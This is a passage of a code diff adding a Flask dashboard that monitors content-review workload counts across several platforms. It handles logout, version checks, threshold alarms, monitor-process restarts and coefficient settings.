'/dashboard' + }) + + except Exception as e: + logging.error(f"登录失败: {str(e)}") + return jsonify({'code': 1, 'message': f'登录失败: {str(e)}'}) + + return render_template('login.html', version=VERSION) + +@app.route('/logout') +def logout(): + """退出系统""" + try: + # 记录退出用户 + username = session.get('username', '未知用户') + log("用户 [" + username + "] 退出系统") + + # 清除会话 + session.clear() + + # 标记系统即将退出 + global shutdown_flag + shutdown_flag = True + + # 尝试停止监控进程 + if processes['breeze'] and processes['breeze'].poll() is None: + try: + processes['breeze'].terminate() + log("已停止Breeze监控进程") + except Exception as e: + log("停止Breeze监控进程失败: " + str(e)) + + if processes['cms'] and processes['cms'].poll() is None: + try: + processes['cms'].terminate() + log("已停止CMS监控进程") + except Exception as e: + log("停止CMS监控进程失败: " + str(e)) + + # 删除共享数据文件 + try: + script_dir = os.path.dirname(os.path.abspath(__file__)) + data_files = ['breeze_daily.json', 'breeze_hourly.json', 'cms_daily.json', 'cms_hourly.json', 'inspect_daily.json', 'inspect_hourly.json', 'breeze_coefficients.json', 'cms_coefficients.json', 'inspect_coefficients.json'] + + for file_name in data_files: + file_path = os.path.join(script_dir, file_name) + for attempt in range(3): # 最多重试3次 + try: + if os.path.exists(file_path): + os.remove(file_path) + log(f"已删除共享数据文件: {file_name}") + break + except Exception as e: + log(f"删除文件 {file_name} 失败: {str(e)},第{attempt+1}次重试") + time.sleep(1) + log("成功清理所有共享数据文件") + except Exception as e: + log(f"删除共享数据文件时出错: {str(e)}") + + # 在一个后台线程中等待几秒后退出应用程序 + def shutdown_app(): + time.sleep(3) # 等待3秒 + log("用户退出系统,系统正在完全关闭...") + # 关闭所有子进程和当前进程 + if sys.platform.startswith('win'): + # 在Windows系统下,强制关闭当前进程及所有子进程 + try: + # 获取当前进程PID + current_pid = os.getpid() + # 使用taskkill命令强制结束进程树 + subprocess.run(f'taskkill /F /T /PID {current_pid}', shell=True) + except Exception as e: + log(f"关闭进程时出错: {str(e)}") + else: + # 非Windows系统使用标准退出方式 + os._exit(0) # 强制关闭整个程序 + + # 启动关闭线程 + threading.Thread(target=shutdown_app).start() + + # 返回包含关闭倒计时的页面 + return """ + + + + + 正在关闭系统... + + + +
+
+

正在清理数据

+
+

请稍候...

+
+ +
+ + + +""" + except Exception as e: + log("Error in logout route: " + str(e)) + return "Logout error. Please check logs.", 500 + +def read_data_file(filename): + """读取数据文件""" + try: + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, filename) + + if not os.path.exists(file_path): + return None + + with open(file_path, 'r', encoding='utf-8') as f: + data = json.load(f) + return data + except Exception as e: + log("Failed to read file {0}: {1}".format(filename, str(e))) + return None + +def check_version(): + """检查系统版本并与在线版本比较""" + global version_check_thread_running + + try: + log("开始检查系统版本更新...") + with version_lock: + version_status['last_check_time'] = datetime.now() + + # 确保VERSION.txt文件存在且内容与VERSION一致 + local_version = ensure_version_file() + log(f"当前本地版本: {local_version}") + + # 获取在线版本 + online_version = get_online_version() + log(f"获取到的在线版本: {online_version}") + + if online_version: + with version_lock: + version_status['online_version'] = online_version + # 比较版本号,只在线上版本比本地版本新时才提示更新 + local_timestamp = int(local_version[1:].split('-')[0]) # 去掉'v'前缀并转换为数字 + online_timestamp = int(online_version[1:].split('-')[0]) # 去掉'v'前缀并转换为数字 + version_status['has_update'] = online_timestamp > local_timestamp + log(f"版本比较结果 - 在线版本: {online_version}, 本地版本: {local_version}, 是否有更新: {version_status['has_update']}") + + # 如果有更新且没有正在运行的线程,启动告警线程 + if version_status['has_update'] and not version_check_thread_running: + version_check_thread_running = True + threading.Thread(target=notify_version_update).start() + + return { + 'current_version': VERSION, + 'online_version': online_version, + 'has_update': version_status['has_update'], + 'last_check_time': version_status['last_check_time'].strftime('%Y-%m-%d %H:%M:%S') if version_status['last_check_time'] else None + } + else: + log("无法获取在线版本,返回本地版本信息") + return { + 'current_version': VERSION, + 'online_version': None, + 'has_update': False, + 'last_check_time': version_status['last_check_time'].strftime('%Y-%m-%d %H:%M:%S') if version_status['last_check_time'] else None + } + except Exception as e: + log(f"版本检查过程中发生错误: {str(e)}") + return { + 'current_version': VERSION, + 'online_version': None, + 'has_update': False, + 'last_check_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + 'error': str(e) + } + finally: + # 确保线程标志被重置 + if version_check_thread_running: + version_check_thread_running = False + +def notify_version_update(): + """通知用户有新版本可用""" + try: + # 确保VERSION.txt文件存在 + ensure_version_file() + with version_lock: + online_version = version_status['online_version'] + + if online_version: + message = f"系统有新版本可用: {online_version},当前版本: {VERSION}" + log(message) + + try: + # 发送桌面通知 + from plyer import notification + notification.notify( + title="系统版本更新", + message=message + "\n点击'检测更新'按钮了解详情", + app_icon=None, + timeout=10, + toast=False + ) + + # 通过WebSocket通知前端弹出版本检测窗口 + socketio.emit('version_update', { + 'type': 'show_version_dialog', + 'current_version': VERSION, + 'online_version': online_version + }) + + except Exception as e: + log(f"显示桌面通知失败: {str(e)}") + except Exception as e: + log(f"通知版本更新失败: {str(e)}") + finally: + # 重置线程运行标志 + global version_check_thread_running + version_check_thread_running = False + +def monitor_version_thread(): + """版本检测后台线程""" + log("版本监控线程启动") + while True: + try: + # 每30分钟检查一次版本更新 + check_version() + time.sleep(1800) # 30分钟 + except Exception as e: + log(f"版本监控线程异常: {str(e)}") + time.sleep(600) # 出错后等待10分钟重试 + +@app.route('/api/get-version') +def get_version(): + """获取系统版本信息""" + try: + # 确保VERSION.txt文件存在 + ensure_version_file() + + with version_lock: + status = { + 'current_version': VERSION, + 'local_version': VERSION, # 固定的本地版本号 + 'online_version': version_status['online_version'], + 'has_update': version_status['has_update'], + 'last_check_time': version_status['last_check_time'].strftime('%Y-%m-%d %H:%M:%S') if version_status['last_check_time'] else None + } + + return jsonify({ + 'success': True, + 'data': status + }) + except Exception as e: + log("Error in get_version route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +@app.route('/api/check-version') +def check_version_api(): + """手动检查版本更新的API""" + try: + result = check_version() + + if result: + return jsonify({ + 'success': True, + 'data': result + }) + else: + # 至少返回当前版本信息 + return jsonify({ + 'success': False, + 'message': '获取在线版本信息失败', + 'data': { + 'current_version': VERSION, + 'local_version': VERSION, + 'online_version': None, + 'has_update': False, + 'last_check_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + }) + except Exception as e: + log("Error in check_version_api route: " + str(e)) + return jsonify({'success': False, 'message': f'检测版本更新失败: {str(e)}'}), 500 + +@app.route('/api/get-stats') +def get_stats(): + """获取所有统计数据""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + try: + # 读取各个数据文件 + breeze_hourly = read_data_file('breeze_hourly.json') or { + 'stats': { + 'weighted_total': 0, + 'total': 0, + 'categories': {}, + 'details': {} + }, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + + breeze_daily = read_data_file('breeze_daily.json') or { + 'stats': { + 'weighted_total': 0, + 'total': 0, + 'categories': {}, + 'details': {} + }, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + + cms_hourly = read_data_file('cms_hourly.json') or { + 'stats': { + 'weighted_total': 0, + 'total': 0, + 'comment': 0, + 'feed': 0, + 'complaint': 0 + }, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + + cms_daily = read_data_file('cms_daily.json') or { + 'stats': { + 'weighted_total': 0, + 'total': 0, + 'comment': 0, + 'feed': 0, + 'complaint': 0 + }, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + + # 读取CC审核平台数据 + inspect_hourly = read_data_file('inspect_hourly.json') or { + 'stats': [] + } + inspect_daily = read_data_file('inspect_daily.json') or { + 'stats': [] + } + + # 获取最新的统计数据 + inspect_hourly_stats = inspect_hourly['stats'][-1] if inspect_hourly['stats'] else { + 'total': 0, + 'weighted_total': 0, + 'timestamp': int(time.time()) + } + + inspect_daily_stats = inspect_daily['stats'][-1] if inspect_daily['stats'] else { + 'total': 0, + 'weighted_total': 0, + 'timestamp': int(time.time()) + } + + # 获取当前的CMS系数设置 + script_dir = os.path.dirname(os.path.abspath(__file__)) + cms_coefficients_file = os.path.join(script_dir, 'cms_coefficients.json') + cms_coefficients = None + + if os.path.exists(cms_coefficients_file): + try: + with open(cms_coefficients_file, 'r', encoding='utf-8') as f: + cms_coefficients = json.load(f) + log("从配置文件加载CMS系数") + except Exception as e: + log(f"读取CMS系数配置文件失败: {str(e)}") + + # 如果无法读取配置,使用默认系数 + if not cms_coefficients: + cms_coefficients = { + 'comment': 0.55, + 'feed': 1.54, + 'complaint': 5.4 + } + log("使用默认CMS系数") + + # 获取当前的Breeze系数设置 + breeze_coefficients_file = os.path.join(script_dir, 'breeze_coefficients.json') + breeze_coefficients = None + + if os.path.exists(breeze_coefficients_file): + try: + with open(breeze_coefficients_file, 'r', encoding='utf-8') as f: + breeze_coefficients = json.load(f) + log("从配置文件加载Breeze系数") + except Exception as e: + log(f"读取Breeze系数配置文件失败: {str(e)}") + + # 如果无法读取配置,不设置默认值,让前端使用现有值 + if not breeze_coefficients: + log("无法读取Breeze系数配置文件") + + # 合并结果 + result = { + 'breeze': { + 'hourly': breeze_hourly.get('stats', {}), + 'hourly_update': breeze_hourly.get('timestamp', ''), + 'daily': breeze_daily.get('stats', {}), + 'daily_update': breeze_daily.get('timestamp', ''), + 'coefficients': breeze_coefficients + }, + 'cms': { + 'hourly': cms_hourly.get('stats', {}), + 'hourly_update': cms_hourly.get('timestamp', ''), + 'daily': cms_daily.get('stats', {}), + 'daily_update': cms_daily.get('timestamp', ''), + 'coefficients': cms_coefficients + }, + 'inspect': { + 'hourly': inspect_hourly_stats, + 'hourly_update': datetime.fromtimestamp(inspect_hourly_stats['timestamp']).strftime('%Y-%m-%d %H:%M:%S'), + 'daily': inspect_daily_stats, + 'daily_update': datetime.fromtimestamp(inspect_daily_stats['timestamp']).strftime('%Y-%m-%d %H:%M:%S'), + 'coefficients': {'default': 1.5} + }, + 'total': { + 'hourly': 0, + 'daily': 0 + } + } + + # 计算总折算数 + if breeze_hourly and 'stats' in breeze_hourly and 'weighted_total' in breeze_hourly['stats']: + result['total']['hourly'] += breeze_hourly['stats']['weighted_total'] + + if cms_hourly and 'stats' in cms_hourly and 'weighted_total' in cms_hourly['stats']: + result['total']['hourly'] += cms_hourly['stats']['weighted_total'] + + if inspect_hourly_stats and 'weighted_total' in inspect_hourly_stats: + result['total']['hourly'] += inspect_hourly_stats['weighted_total'] + + if breeze_daily and 'stats' in breeze_daily and 'weighted_total' in breeze_daily['stats']: + result['total']['daily'] += breeze_daily['stats']['weighted_total'] + + if cms_daily and 'stats' in cms_daily and 'weighted_total' in cms_daily['stats']: + result['total']['daily'] += cms_daily['stats']['weighted_total'] + + if inspect_daily_stats and 'weighted_total' in inspect_daily_stats: + result['total']['daily'] += inspect_daily_stats['weighted_total'] + + # 检查告警阈值 + if result['total']['hourly'] >= ALARM_THRESHOLD: + check_alarm(result['total']['hourly']) + + # 通过WebSocket发送更新 + try: + socketio.emit('stats_update', { + 'success': True, + 'data': result, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + }) + except Exception as e: + log(f"WebSocket发送数据更新失败: {str(e)}") + + return jsonify({ + 'success': True, + 'data': result, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + }) + + except Exception as e: + log("Failed to get stats: " + str(e)) + return jsonify({ + 'success': False, + 'message': "Failed to get stats: " + str(e) + }) + except Exception as e: + log("Error in get_stats route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +def check_alarm(total_weighted): + """检查并触发告警""" + try: + with alarm_lock: + now = datetime.now() + + # 如果最近30秒内已经告警过,增加计数但不重复告警 + if alarm_status['last_alarm_time'] and (now - alarm_status['last_alarm_time']).total_seconds() < 30: + return + + # 设置告警状态 + alarm_status['last_alarm_time'] = now + alarm_status['alarm_count'] += 1 + alarm_status['is_alarming'] = True + + # 如果已经达到3次告警,不再继续 + if alarm_status['alarm_count'] > 3: + return + + # 启动线程播放告警声音和显示通知 + # 将当前加权总值传递给函数 + threading.Thread(target=lambda: show_alarm_notification(total_weighted)).start() + log("Alarm triggered: Current weighted total {0:.2f}, exceeded threshold {1}".format(total_weighted, ALARM_THRESHOLD)) + except Exception as e: + log("Error in check_alarm: " + str(e)) + +def show_alarm_notification(total_weighted, is_test=False, alarm_type="实时告警"): + """显示告警通知和播放告警声音""" + try: + # 播放系统告警声音 + try: + import winsound + winsound.PlaySound("SystemExclamation", winsound.SND_ALIAS) + except: + # 如果winsound不可用,尝试使用beep + print('\a') + + # 添加桌面通知 + try: + from plyer import notification + + # 计算超出阈值的百分比 + over_percentage = ((total_weighted - ALARM_THRESHOLD) / ALARM_THRESHOLD) * 100 + + # 根据是否为测试调整标题 + title = "测试告警" if is_test else "审核数量告警" + + # 根据是否为测试调整消息前缀 + prefix = "[测试数据] " if is_test else "" + + notification.notify( + title=title, + message=f"{prefix}{alarm_type}当前小时加权总计:{total_weighted:.2f}\n阈值:{ALARM_THRESHOLD}\n超出:{over_percentage:.1f}%\n请立即检查数据监控看板!", + app_icon=None, + timeout=15, + toast=False + ) + except Exception as e: + log("Failed to show desktop notification: " + str(e)) + + # WebSocket推送网页弹窗 + try: + from flask_socketio import SocketIO + global socketio + over_percentage = ((total_weighted - ALARM_THRESHOLD) / ALARM_THRESHOLD) * 100 + socketio.emit('alarm', { + 'type': alarm_type, + 'message': f"{alarm_type}:当前值:{total_weighted:.2f},超出{over_percentage:.1f}%" + }) + except Exception as e: + log(f"WebSocket推送告警失败: {str(e)}") + except Exception as e: + log("Failed to play alarm sound: " + str(e)) + +@app.route('/api/get-alarm-status') +def get_alarm_status(): + """获取告警状态""" + try: + with alarm_lock: + status = { + 'is_alarming': alarm_status['is_alarming'], + 'alarm_count': alarm_status['alarm_count'], + 'last_alarm_time': alarm_status['last_alarm_time'].strftime('%Y-%m-%d %H:%M:%S') if alarm_status['last_alarm_time'] else None, + 'threshold': ALARM_THRESHOLD, + 'alarm_type': alarm_status['alarm_type'] + } + + return jsonify({ + 'success': True, + 'data': status + }) + except Exception as e: + log("Error in get_alarm_status route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +@app.route('/api/reset-alarm') +def reset_alarm(): + """重置告警状态""" + try: + with alarm_lock: + alarm_status['is_alarming'] = False + alarm_status['alarm_count'] = 0 + + return jsonify({ + 'success': True, + 'message': 'Alarm has been reset' + }) + except Exception as e: + log("Error in reset_alarm route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +@app.route('/api/restart-monitoring') +def restart_monitoring(): + """重启监控进程""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 获取Python可执行文件路径 + python_executable = sys.executable + + # 获取后端类型和凭据 + backend_type = session.get('backend_type', 'breeze_monitor') + breeze_cookie = session.get('breeze_cookie', '') + cms_cookie = session.get('cms_cookie', '') + inspect_cookie = session.get('inspect_cookie', '') + username = session.get('username', '') + + # 终止现有进程 + processes_to_stop = ['breeze', 'cms', 'inspect'] + for process_name in processes_to_stop: + if processes.get(process_name) and processes[process_name].poll() is None: + try: + processes[process_name].terminate() + processes[process_name].wait(timeout=5) + log(f"已停止{process_name.upper()}监控进程") + except Exception as e: + log(f"停止{process_name.upper()}监控进程失败: {str(e)}") + try: + processes[process_name].kill() + except: + pass + + # 等待一下确保进程完全终止 + time.sleep(1) + + # 根据后端类型选择监控脚本 + if backend_type == 'breeze_monitor_CHAT': + monitor_script = 'breeze_monitor_CHAT.py' + else: + monitor_script = 'breeze_monitor.py' + + # 获取脚本所在目录 + script_dir = os.path.dirname(os.path.abspath(__file__)) + monitor_path = os.path.join(script_dir, monitor_script) + cms_path = os.path.join(script_dir, "cms_monitor.py") + inspect_path = os.path.join(script_dir, "inspect_monitor.py") + + # 检查监控脚本是否存在 + if not os.path.exists(monitor_path): + log(f"监控脚本不存在: {monitor_path}") + return jsonify({'success': False, 'message': f'监控脚本不存在: {monitor_path}'}) + + # 启动新的监控进程 + try: + # 启动Breeze监控 + env = os.environ.copy() + env['BREEZE_COOKIE'] = breeze_cookie + env['BREEZE_USERNAME'] = username + + processes['breeze'] = subprocess.Popen( + [python_executable, monitor_path], + env=env, + shell=False, + creationflags=subprocess.CREATE_NEW_CONSOLE + ) + log(f"已启动{backend_type}监控进程, PID: {processes['breeze'].pid}") + + # 启动CMS监控 + env = os.environ.copy() + env['CMS_COOKIE'] = cms_cookie + env['CMS_USERNAME'] = username + + processes['cms'] = subprocess.Popen( + [python_executable, cms_path], + env=env, + shell=False, + creationflags=subprocess.CREATE_NEW_CONSOLE + ) + log(f"CMS监控进程已启动, PID: {processes['cms'].pid}") + + # 启动CC审核平台监控 + if inspect_cookie: + env = os.environ.copy() + env['INSPECT_COOKIE'] = inspect_cookie + env['INSPECT_USERNAME'] = username + + processes['inspect'] = subprocess.Popen( + [python_executable, inspect_path], + env=env, + shell=False, + creationflags=subprocess.CREATE_NEW_CONSOLE + ) + log(f"CC审核平台监控进程已启动, PID: {processes['inspect'].pid}") + + return jsonify({ + 'success': True, + 'message': '监控进程已重启' + }) + except Exception as e: + log(f"启动监控进程失败: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'启动监控进程失败: {str(e)}' + }) + except Exception as e: + log(f"重启监控进程失败: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'重启监控进程失败: {str(e)}' + }) + +def open_browser(): + """在新线程中打开浏览器""" + time.sleep(1) # 等待服务器启动 + try: + webbrowser.open('http://localhost:8000') + except Exception as e: + log("Failed to open browser: " + str(e)) + +@app.route('/api/check-now') +def check_now(): + """立即检查当前小时数据""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 获取Python可执行文件路径 + python_executable = sys.executable + + # 获取后端类型和凭据 + backend_type = session.get('backend_type', 'breeze_monitor') + breeze_cookie = session.get('breeze_cookie', '') + cms_cookie = session.get('cms_cookie', '') + inspect_cookie = session.get('inspect_cookie', '') + username = session.get('username', '') + + # 终止现有进程 + if not terminate_existing_processes(): + return jsonify({ + 'success': False, + 'message': '无法完全终止现有进程,请手动关闭后重试' + }) + + # 获取脚本所在目录 + script_dir = os.path.dirname(os.path.abspath(__file__)) + + # 根据后端类型选择监控脚本 + if backend_type == 'breeze_monitor_CHAT': + monitor_script = 'breeze_monitor_CHAT.py' + else: + monitor_script = 'breeze_monitor.py' + + monitor_path = os.path.join(script_dir, monitor_script) + cms_path = os.path.join(script_dir, "cms_monitor.py") + inspect_path = os.path.join(script_dir, "inspect_monitor.py") + + # 检查监控脚本是否存在 + if not os.path.exists(monitor_path): + log(f"监控脚本不存在: {monitor_path}") + return jsonify({'success': False, 'message': f'监控脚本不存在: {monitor_path}'}) + + # 启动临时检查进程 + try: + processes_started = [] + + # 启动临时Breeze检查 + env = os.environ.copy() + env['BREEZE_COOKIE'] = breeze_cookie + env['BREEZE_USERNAME'] = username + + temp_breeze = subprocess.Popen( + [python_executable, monitor_path, "--check-now", "--force"], + env=env, + shell=False, + creationflags=subprocess.CREATE_NEW_CONSOLE + ) + processes_started.append(('Breeze', temp_breeze)) + + # 启动临时CMS检查 + env = os.environ.copy() + env['CMS_COOKIE'] = cms_cookie + env['CMS_USERNAME'] = username + + temp_cms = subprocess.Popen( + [python_executable, cms_path, "--check-now", "--force"], + env=env, + shell=False, + creationflags=subprocess.CREATE_NEW_CONSOLE + ) + processes_started.append(('CMS', temp_cms)) + + # 启动临时CC审核平台检查 + if inspect_cookie: + env = os.environ.copy() + env['INSPECT_COOKIE'] = inspect_cookie + env['INSPECT_USERNAME'] = username + + temp_inspect = subprocess.Popen( + [python_executable, inspect_path, "--check-now", "--force"], + env=env, + shell=False, + creationflags=subprocess.CREATE_NEW_CONSOLE + ) + processes_started.append(('Inspect', temp_inspect)) + + # 等待所有进程完成或超时 + wait_start = time.time() + while time.time() - wait_start < 30: # 最多等待30秒 + all_done = True + for name, proc in processes_started: + if proc.poll() is None: + all_done = False + break + if all_done: + break + time.sleep(0.5) + + # 检查是否所有进程都已完成 + failed_processes = [] + for name, proc in processes_started: + if proc.poll() is None: + try: + proc.terminate() + failed_processes.append(name) + except: + pass + + if failed_processes: + return jsonify({ + 'success': False, + 'message': f'以下检查进程未能在30秒内完成: {", ".join(failed_processes)}' + }) + + # 重新启动常规监控进程 + if not start_monitor_processes(): + return jsonify({ + 'success': False, + 'message': '临时检查完成,但重启常规监控失败' + }) + + return jsonify({ + 'success': True, + 'message': '数据检查完成并重启了监控进程' + }) + + except Exception as e: + log(f"启动临时检查进程失败: {str(e)}") + # 确保重启常规监控进程 + start_monitor_processes() + return jsonify({ + 'success': False, + 'message': f'启动临时检查进程失败: {str(e)}' + }) + + except Exception as e: + log(f"临时检查失败: {str(e)}") + # 确保重启常规监控进程 + start_monitor_processes() + return jsonify({ + 'success': False, + 'message': f'临时检查失败: {str(e)}' + }) + +@app.route('/api/test-alarm') +def test_alarm(): + """测试告警功能""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 检查是否为实际数据告警 + is_real_data = request.args.get('real_data', 'false').lower() == 'true' + + # 根据请求类型选择不同的消息 + message = "实时告警" if is_real_data else "测试告警" + + # 立即触发第一次告警 + if not is_real_data: + # 手动触发告警并传递测试告警值 + show_alarm_notification(ALARM_THRESHOLD + 100, is_test=True, alarm_type="测试告警") + else: + # 从API获取当前真实的小时总量 + try: + breeze_hourly = read_data_file('breeze_hourly.json') or {'stats': {'weighted_total': 0}} + cms_hourly = read_data_file('cms_hourly.json') or {'stats': {'weighted_total': 0}} + + total_hourly = 0 + if 'stats' in breeze_hourly and 'weighted_total' in breeze_hourly['stats']: + total_hourly += breeze_hourly['stats']['weighted_total'] + if 'stats' in cms_hourly and 'weighted_total' in cms_hourly['stats']: + total_hourly += cms_hourly['stats']['weighted_total'] + + # 只有在实际超过阈值时才显示通知 + if total_hourly >= ALARM_THRESHOLD: + show_alarm_notification(total_hourly, is_test=False, alarm_type="实时告警") + except Exception as e: + log(f"Error getting real data for alarm: {str(e)}") + + # 设置告警状态,启用连续告警 + with alarm_lock: + now = datetime.now() + alarm_status['last_alarm_time'] = now + alarm_status['is_alarming'] = True + alarm_status['alarm_type'] = message # 保存告警类型 + + # 设置告警计数为1,开始计数 + alarm_status['alarm_count'] = 1 + + # 创建后台线程发送连续告警 + if not is_real_data: # 仅对测试告警启用连续通知 + threading.Thread(target=lambda: send_sequential_test_alarms("测试告警")).start() + + log(f"{message} triggered by user") + + return jsonify({ + 'success': True, + 'message': f'{message} successful' + }) + except Exception as e: + log("Error in test_alarm route: " + str(e)) + return jsonify({'success': False, 'message': 'Failed to trigger alarm: ' + str(e)}), 500 + +@app.route('/api/get-coefficients') +def get_coefficients(): + """获取CMS系数配置""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 从CMS系数配置文件读取 + try: + script_dir = os.path.dirname(os.path.abspath(__file__)) + coefficients_file = os.path.join(script_dir, 'cms_coefficients.json') + + if not os.path.exists(coefficients_file): + # 如果配置文件不存在,返回默认系数 + default_coefficients = { + 'comment': 0.55, + 'feed': 1.54, + 'complaint': 5.4 + } + return jsonify({ + 'success': True, + 'data': default_coefficients, + 'message': 'Using default coefficients' + }) + + with open(coefficients_file, 'r', encoding='utf-8') as f: + coefficients = json.load(f) + + return jsonify({ + 'success': True, + 'data': coefficients + }) + except Exception as e: + log(f"Error reading coefficients file: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'Error reading coefficients: {str(e)}' + }) + + except Exception as e: + log("Error in get_coefficients route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +@app.route('/api/update-coefficients', methods=['POST']) +def update_coefficients(): + """更新CMS系数配置""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 获取请求中的系数 + try: + data = request.get_json() + if not data: + return jsonify({ + 'success': False, + 'message': 'No data provided' + }) + + # 验证系数格式 + required_keys = ['comment', 'feed', 'complaint'] + for key in required_keys: + if key not in data: + return jsonify({ + 'success': False, + 'message': f'Missing required key: {key}' + }) + + # 验证值是数字 + try: + data[key] = float(data[key]) + except ValueError: + return jsonify({ + 'success': False, + 'message': f'Value for {key} must be a number' + }) + + # 确保只有必要的键 + coefficients = { + 'comment': data['comment'], + 'feed': data['feed'], + 'complaint': data['complaint'] + } + + # 保存到配置文件 + script_dir = os.path.dirname(os.path.abspath(__file__)) + coefficients_file = os.path.join(script_dir, 'cms_coefficients.json') + + with open(coefficients_file, 'w', encoding='utf-8') as f: + json.dump(coefficients, f, indent=4, ensure_ascii=False) + + log(f"CMS系数已更新: 评论={coefficients['comment']}, 动态={coefficients['feed']}, 举报={coefficients['complaint']}") + + # 使用命令行参数方式通知CMS监控进程更新系数 + try: + # 获取Python可执行文件路径 + python_executable = sys.executable + + # 获取CMS监控脚本路径 + cms_script = os.path.join(script_dir, "cms_monitor.py") + + # 获取环境变量 + env = os.environ.copy() + env['CMS_COOKIE'] = session.get('cms_cookie', '') + env['CMS_USERNAME'] = session.get('username', '') + + # 启动进程更新系数 + cmd = [ + python_executable, + cms_script, + "--update-coefficients", + str(coefficients['comment']), + str(coefficients['feed']), + str(coefficients['complaint']) + ] + + subprocess.Popen( + cmd, + env=env, + shell=False + ) + + log("已发送系数更新命令给CMS监控进程") + except Exception as e: + log(f"发送系数更新命令失败: {str(e)}") + + return jsonify({ + 'success': True, + 'message': 'Coefficients updated successfully', + 'data': coefficients + }) + + except Exception as e: + log(f"更新系数失败: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'Error updating coefficients: {str(e)}' + }) + + except Exception as e: + log("Error in update_coefficients route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +def send_sequential_test_alarms(alarm_type): + """发送连续的测试告警通知""" + try: + # 等待10秒后发送第二次告警 + time.sleep(10) + + with alarm_lock: + if alarm_status['is_alarming'] and alarm_status['alarm_count'] < 3: + alarm_status['alarm_count'] = 2 + # 发送第二次告警 + show_alarm_notification(ALARM_THRESHOLD + 120, is_test=True, alarm_type=alarm_type) + log("Second test alarm notification sent") + + # 再等待10秒后发送第三次告警 + time.sleep(10) + + with alarm_lock: + if alarm_status['is_alarming'] and alarm_status['alarm_count'] < 3: + alarm_status['alarm_count'] = 3 + # 发送第三次告警 + show_alarm_notification(ALARM_THRESHOLD + 150, is_test=True, alarm_type=alarm_type) + log("Third test alarm notification sent") + except Exception as e: + log(f"Error in sequential test alarms: {str(e)}") + +@app.route('/api/get-breeze-coefficients') +def get_breeze_coefficients(): + """获取Breeze系数配置""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 从Breeze系数配置文件读取 + try: + script_dir = os.path.dirname(os.path.abspath(__file__)) + coefficients_file = os.path.join(script_dir, 'breeze_coefficients.json') + + if not os.path.exists(coefficients_file): + # 如果配置文件不存在,返回错误信息 + return jsonify({ + 'success': False, + 'message': 'Breeze coefficients file not found' + }) + + with open(coefficients_file, 'r', encoding='utf-8') as f: + coefficients = json.load(f) + + return jsonify({ + 'success': True, + 'data': coefficients + }) + except Exception as e: + log(f"Error reading Breeze coefficients file: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'Error reading coefficients: {str(e)}' + }) + + except Exception as e: + log("Error in get_breeze_coefficients route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +@app.route('/api/update-breeze-coefficients', methods=['POST']) +def update_breeze_coefficients(): + """更新Breeze系数配置""" + try: + if 'logged_in' not in session: + return jsonify({'success': False, 'message': 'Not logged in'}) + + # 获取请求中的系数 + try: + data = request.get_json() + if not data: + return jsonify({ + 'success': False, + 'message': 'No data provided' + }) + + # 验证系数格式 + if not isinstance(data, dict): + return jsonify({ + 'success': False, + 'message': 'Invalid data format, expected a dictionary' + }) + + # 验证所有值是数字 + for key, value in data.items(): + try: + data[key] = float(value) + except ValueError: + return jsonify({ + 'success': False, + 'message': f'Value for {key} must be a number' + }) + + # 保存到配置文件 + script_dir = os.path.dirname(os.path.abspath(__file__)) + coefficients_file = os.path.join(script_dir, 'breeze_coefficients.json') + + with open(coefficients_file, 'w', encoding='utf-8') as f: + json.dump(data, f, indent=4, ensure_ascii=False) + + log(f"Breeze系数已更新") + + # 使用命令行参数方式通知Breeze监控进程更新系数 + try: + # 获取Python可执行文件路径 + python_executable = sys.executable + + # 获取Breeze监控脚本路径 + breeze_script = os.path.join(script_dir, "breeze_monitor.py") + + # 获取环境变量 + env = os.environ.copy() + env['BREEZE_COOKIE'] = session.get('breeze_cookie', '') + env['BREEZE_USERNAME'] = session.get('username', '') + + # 启动进程更新系数 - 一次只更新一个系数 + for coefficient_type, coefficient_value in data.items(): + cmd = [ + python_executable, + breeze_script, + "--update-coefficients", + coefficient_type, + str(coefficient_value) + ] + + subprocess.Popen( + cmd, + env=env, + shell=False + ) + + log("已发送系数更新命令给Breeze监控进程") + except Exception as e: + log(f"发送系数更新命令失败: {str(e)}") + + return jsonify({ + 'success': True, + 'message': 'Breeze coefficients updated successfully', + 'data': data + }) + + except Exception as e: + log(f"更新Breeze系数失败: {str(e)}") + return jsonify({ + 'success': False, + 'message': f'Error updating coefficients: {str(e)}' + }) + + except Exception as e: + log("Error in update_breeze_coefficients route: " + str(e)) + return jsonify({'success': False, 'message': 'Internal server error'}), 500 + +@app.route('/api/acknowledge-alarm') +def acknowledge_alarm(): + """确认并重置告警状态""" + try: + with alarm_lock: + # 完全重置告警状态 + alarm_status['is_alarming'] = False + alarm_status['alarm_count'] 